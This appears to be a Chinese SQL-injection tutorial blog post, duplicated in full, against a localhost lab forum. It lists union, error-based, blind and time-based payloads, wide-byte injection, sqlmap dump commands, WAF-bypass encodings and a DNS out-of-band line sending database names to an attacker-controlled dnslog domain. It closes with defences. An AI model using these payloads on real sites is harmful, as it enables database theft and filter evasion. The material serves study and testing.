2026-01-07 Web安全 SQL注入 sqlmap WAF绕过 盲注 DNS外带一、SQL注入概述SQL注入SQL Injection是一种常见的Web安全漏洞攻击者通过在应用程序的输入字段中插入恶意SQL语句从而对数据库进行非法操作。SQL注入的危害包括数据泄露读取数据库中的敏感信息用户账号、密码、个人信息等数据篡改修改、删除数据库中的数据权限提升获取数据库管理员权限系统控制通过数据库功能执行操作系统命令二、SQL注入分类2.1 联合查询注入Union Based利用UNION操作符将攻击者的SQL语句与原始查询合并从而获取额外数据。测试环境http://localhost/bbs/showmessage.php?id1 http://localhost/bbs/showmessage.php?id2判断注入点http://localhost/bbs/showmessage.php?id1 and 11 -- 正常 http://localhost/bbs/showmessage.php?id1 and 12 -- 异常判断列数http://localhost/bbs/showmessage.php?id1 order by 1 -- 正常 http://localhost/bbs/showmessage.php?id1 order by 2 -- 正常 http://localhost/bbs/showmessage.php?id1 order by N -- 直到报错联合查询获取数据http://localhost/bbs/showmessage.php?id-1 union select 1,2,3,... http://localhost/bbs/showmessage.php?id-1 union select 1,version(),database() http://localhost/bbs/showmessage.php?id-1 union select 1,table_name,3 from information_schema.tables where table_schemadatabase()2.2 报错注入Error Based利用数据库报错信息来获取数据常用的报错函数包括-- updatexml报错注入 http://localhost/bbs/showmessage.php?id1 and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- extractvalue报错注入 http://localhost/bbs/showmessage.php?id1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) -- floor报错注入 http://localhost/bbs/showmessage.php?id1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)2.3 布尔盲注Boolean Based Blind当页面不显示查询结果和报错信息但会根据SQL语句的真假返回不同页面时使用布尔盲注。-- 判断数据库名长度 http://localhost/bbs/showmessage.php?id1 and length(database())5 -- 逐字符猜解数据库名 http://localhost/bbs/showmessage.php?id1 and substr(database(),1,1)a http://localhost/bbs/showmessage.php?id1 and ascii(substr(database(),1,1))97 -- 使用ord函数 http://localhost/bbs/showmessage.php?id1 and ord(mid(database(),1,1))972.4 时间盲注Time Based Blind当页面没有任何回显和报错时通过时间延迟来判断SQL语句的真假。-- 基于sleep的延迟 http://localhost/bbs/showmessage.php?id1 and if(11,sleep(5),0) http://localhost/bbs/showmessage.php?id1 and if(length(database())5,sleep(5),0) -- 基于benchmark的延迟 http://localhost/bbs/showmessage.php?id1 and if(11,benchmark(10000000,sha1(test)),0)三、DNS外带数据当无法直接获取数据时可以通过DNS查询将数据外带到攻击者控制的服务器。使用dnslog.cnhttp://dnslog.cn/DNS外带注入payload-- MySQL DNS外带 http://localhost/bbs/showmessage.php?id1 and load_file(concat(\\\\,database(),.dnslog域名\\abc)) -- 使用sqlmap的DNS外带 sqlmap -u http://localhost/bbs/showmessage.php?id1 --dns-domaindnslog域名四、宽字节注入当应用程序使用GBK/GB2312等宽字节编码时可以利用宽字节特性绕过转义。-- 正常情况单引号被转义 http://localhost/bbs/test.php?id1\ -- 被转义为 1\ -- 宽字节注入%df与\合并为一个宽字节字符 http://localhost/bbs/test.php?id1%df\ -- %df%5c组成一个GBK字符单引号逃逸五、sqlmap工具使用sqlmap是一款自动化的SQL注入检测与利用工具官方地址https://sqlmap.org/5.1 基本用法# 检测注入点 sqlmap -u http://localhost/bbs/showmessage.php?id1 # 获取数据库 sqlmap -u http://localhost/bbs/showmessage.php?id1 --dbs # 获取表 sqlmap -u http://localhost/bbs/showmessage.php?id1 -D 数据库名 --tables # 获取列 sqlmap -u http://localhost/bbs/showmessage.php?id1 -D 数据库名 -T 表名 --columns # 获取数据 sqlmap -u http://localhost/bbs/showmessage.php?id1 -D 数据库名 -T 表名 -C 列名 --dump5.2 常用参数-u URL # 指定目标URL --dataDATA # POST数据 --cookieCOOKIE # 设置Cookie --levelLEVEL # 检测级别(1-5) --riskRISK # 风险级别(1-3) --techniqueTECH # 指定注入技术(B/E/U/S/T/Q) --tamperTAMPER # 使用绕过脚本 --batch # 不询问使用默认选项 --random-agent # 使用随机User-Agent --proxyPROXY # 使用代理 --dns-domainDOMAIN # DNS外带域名5.3 POST注入sqlmap -u http://localhost/bbs/member/register.php --datausernameadminpassword1234565.4 Cookie注入sqlmap -u http://localhost/bbs/index.php --cookiesessionabc123六、WAF绕过6.1 大小写绕过http://localhost/bbs/showmessage.php?id1 UnIoN SeLeCt 1,2,36.2 双写绕过http://localhost/bbs/showmessage.php?id1 ununionion selselectect 1,2,36.3 编码绕过-- URL编码 http://localhost/bbs/showmessage.php?id1 %55nion %53elect 1,2,3 -- 十六进制编码 http://localhost/bbs/showmessage.php?id1 union select 1,hex(database()),3 -- Unicode编码 http://localhost/bbs/showmessage.php?id1 uni%6fn sel%65ct 1,2,36.4 注释绕过-- 内联注释 http://localhost/bbs/showmessage.php?id1 /*!union*/ /*!select*/ 1,2,3 -- MySQL版本注释 http://localhost/bbs/showmessage.php?id1 /*!50000union*/ /*!50000select*/ 1,2,36.5 空格绕过-- 使用注释替代空格 http://localhost/bbs/showmessage.php?id1/**/union/**/select/**/1,2,3 -- 使用%09 %0a %0b %0c %0d替代空格 http://localhost/bbs/showmessage.php?id1%09union%09select%091,2,36.6 使用sqlmap的tamper脚本# 查看所有tamper脚本 sqlmap --list-tampers # 常用tamper脚本 sqlmap -u URL --tamperspace2comment # 空格转注释 sqlmap -u URL --tamperbetween # 用between替代大于号 sqlmap -u URL --tamperrandomcase # 随机大小写 sqlmap -u URL --tampercharencode # URL编码 sqlmap -u URL --tamperspace2comment,between # 组合使用七、实战环境本文使用的测试环境目标BBS系统http://localhost/bbs/测试页面http://localhost/bbs/showmessage.php?id1http://localhost/bbs/showmessage.php?id2http://localhost/bbs/test.phphttp://localhost/bbs/member/register.phphttp://localhost/bbs/member/cgpwd.phphttp://localhost/bbs/index.phpDNS外带工具http://dnslog.cn/SQL注入工具sqlmap八、防御建议使用参数化查询预编译语句从根本上防止SQL注入对用户输入进行严格校验和过滤使用ORM框架减少手写SQL的场景最小权限原则数据库用户只授予必要权限部署WAF作为额外的安全防护层关闭数据库报错信息显示避免信息泄露定期进行安全审计和漏洞扫描© 2026 安全攻防笔记 - 仅供安全研究与学习使用
SQL注入漏洞进阶篇
发布时间:2026/5/25 1:17:28
2026-01-07 Web安全 SQL注入 sqlmap WAF绕过 盲注 DNS外带一、SQL注入概述SQL注入SQL Injection是一种常见的Web安全漏洞攻击者通过在应用程序的输入字段中插入恶意SQL语句从而对数据库进行非法操作。SQL注入的危害包括数据泄露读取数据库中的敏感信息用户账号、密码、个人信息等数据篡改修改、删除数据库中的数据权限提升获取数据库管理员权限系统控制通过数据库功能执行操作系统命令二、SQL注入分类2.1 联合查询注入Union Based利用UNION操作符将攻击者的SQL语句与原始查询合并从而获取额外数据。测试环境http://localhost/bbs/showmessage.php?id1 http://localhost/bbs/showmessage.php?id2判断注入点http://localhost/bbs/showmessage.php?id1 and 11 -- 正常 http://localhost/bbs/showmessage.php?id1 and 12 -- 异常判断列数http://localhost/bbs/showmessage.php?id1 order by 1 -- 正常 http://localhost/bbs/showmessage.php?id1 order by 2 -- 正常 http://localhost/bbs/showmessage.php?id1 order by N -- 直到报错联合查询获取数据http://localhost/bbs/showmessage.php?id-1 union select 1,2,3,... http://localhost/bbs/showmessage.php?id-1 union select 1,version(),database() http://localhost/bbs/showmessage.php?id-1 union select 1,table_name,3 from information_schema.tables where table_schemadatabase()2.2 报错注入Error Based利用数据库报错信息来获取数据常用的报错函数包括-- updatexml报错注入 http://localhost/bbs/showmessage.php?id1 and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- extractvalue报错注入 http://localhost/bbs/showmessage.php?id1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) -- floor报错注入 http://localhost/bbs/showmessage.php?id1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)2.3 布尔盲注Boolean Based Blind当页面不显示查询结果和报错信息但会根据SQL语句的真假返回不同页面时使用布尔盲注。-- 判断数据库名长度 http://localhost/bbs/showmessage.php?id1 and length(database())5 -- 逐字符猜解数据库名 http://localhost/bbs/showmessage.php?id1 and substr(database(),1,1)a http://localhost/bbs/showmessage.php?id1 and ascii(substr(database(),1,1))97 -- 使用ord函数 http://localhost/bbs/showmessage.php?id1 and ord(mid(database(),1,1))972.4 时间盲注Time Based Blind当页面没有任何回显和报错时通过时间延迟来判断SQL语句的真假。-- 基于sleep的延迟 http://localhost/bbs/showmessage.php?id1 and if(11,sleep(5),0) http://localhost/bbs/showmessage.php?id1 and if(length(database())5,sleep(5),0) -- 基于benchmark的延迟 http://localhost/bbs/showmessage.php?id1 and if(11,benchmark(10000000,sha1(test)),0)三、DNS外带数据当无法直接获取数据时可以通过DNS查询将数据外带到攻击者控制的服务器。使用dnslog.cnhttp://dnslog.cn/DNS外带注入payload-- MySQL DNS外带 http://localhost/bbs/showmessage.php?id1 and load_file(concat(\\\\,database(),.dnslog域名\\abc)) -- 使用sqlmap的DNS外带 sqlmap -u http://localhost/bbs/showmessage.php?id1 --dns-domaindnslog域名四、宽字节注入当应用程序使用GBK/GB2312等宽字节编码时可以利用宽字节特性绕过转义。-- 正常情况单引号被转义 http://localhost/bbs/test.php?id1\ -- 被转义为 1\ -- 宽字节注入%df与\合并为一个宽字节字符 http://localhost/bbs/test.php?id1%df\ -- %df%5c组成一个GBK字符单引号逃逸五、sqlmap工具使用sqlmap是一款自动化的SQL注入检测与利用工具官方地址https://sqlmap.org/5.1 基本用法# 检测注入点 sqlmap -u http://localhost/bbs/showmessage.php?id1 # 获取数据库 sqlmap -u http://localhost/bbs/showmessage.php?id1 --dbs # 获取表 sqlmap -u http://localhost/bbs/showmessage.php?id1 -D 数据库名 --tables # 获取列 sqlmap -u http://localhost/bbs/showmessage.php?id1 -D 数据库名 -T 表名 --columns # 获取数据 sqlmap -u http://localhost/bbs/showmessage.php?id1 -D 数据库名 -T 表名 -C 列名 --dump5.2 常用参数-u URL # 指定目标URL --dataDATA # POST数据 --cookieCOOKIE # 设置Cookie --levelLEVEL # 检测级别(1-5) --riskRISK # 风险级别(1-3) --techniqueTECH # 指定注入技术(B/E/U/S/T/Q) --tamperTAMPER # 使用绕过脚本 --batch # 不询问使用默认选项 --random-agent # 使用随机User-Agent --proxyPROXY # 使用代理 --dns-domainDOMAIN # DNS外带域名5.3 POST注入sqlmap -u http://localhost/bbs/member/register.php --datausernameadminpassword1234565.4 Cookie注入sqlmap -u http://localhost/bbs/index.php --cookiesessionabc123六、WAF绕过6.1 大小写绕过http://localhost/bbs/showmessage.php?id1 UnIoN SeLeCt 1,2,36.2 双写绕过http://localhost/bbs/showmessage.php?id1 ununionion selselectect 1,2,36.3 编码绕过-- URL编码 http://localhost/bbs/showmessage.php?id1 %55nion %53elect 1,2,3 -- 十六进制编码 http://localhost/bbs/showmessage.php?id1 union select 1,hex(database()),3 -- Unicode编码 http://localhost/bbs/showmessage.php?id1 uni%6fn sel%65ct 1,2,36.4 注释绕过-- 内联注释 http://localhost/bbs/showmessage.php?id1 /*!union*/ /*!select*/ 1,2,3 -- MySQL版本注释 http://localhost/bbs/showmessage.php?id1 /*!50000union*/ /*!50000select*/ 1,2,36.5 空格绕过-- 使用注释替代空格 http://localhost/bbs/showmessage.php?id1/**/union/**/select/**/1,2,3 -- 使用%09 %0a %0b %0c %0d替代空格 http://localhost/bbs/showmessage.php?id1%09union%09select%091,2,36.6 使用sqlmap的tamper脚本# 查看所有tamper脚本 sqlmap --list-tampers # 常用tamper脚本 sqlmap -u URL --tamperspace2comment # 空格转注释 sqlmap -u URL --tamperbetween # 用between替代大于号 sqlmap -u URL --tamperrandomcase # 随机大小写 sqlmap -u URL --tampercharencode # URL编码 sqlmap -u URL --tamperspace2comment,between # 组合使用七、实战环境本文使用的测试环境目标BBS系统http://localhost/bbs/测试页面http://localhost/bbs/showmessage.php?id1http://localhost/bbs/showmessage.php?id2http://localhost/bbs/test.phphttp://localhost/bbs/member/register.phphttp://localhost/bbs/member/cgpwd.phphttp://localhost/bbs/index.phpDNS外带工具http://dnslog.cn/SQL注入工具sqlmap八、防御建议使用参数化查询预编译语句从根本上防止SQL注入对用户输入进行严格校验和过滤使用ORM框架减少手写SQL的场景最小权限原则数据库用户只授予必要权限部署WAF作为额外的安全防护层关闭数据库报错信息显示避免信息泄露定期进行安全审计和漏洞扫描© 2026 安全攻防笔记 - 仅供安全研究与学习使用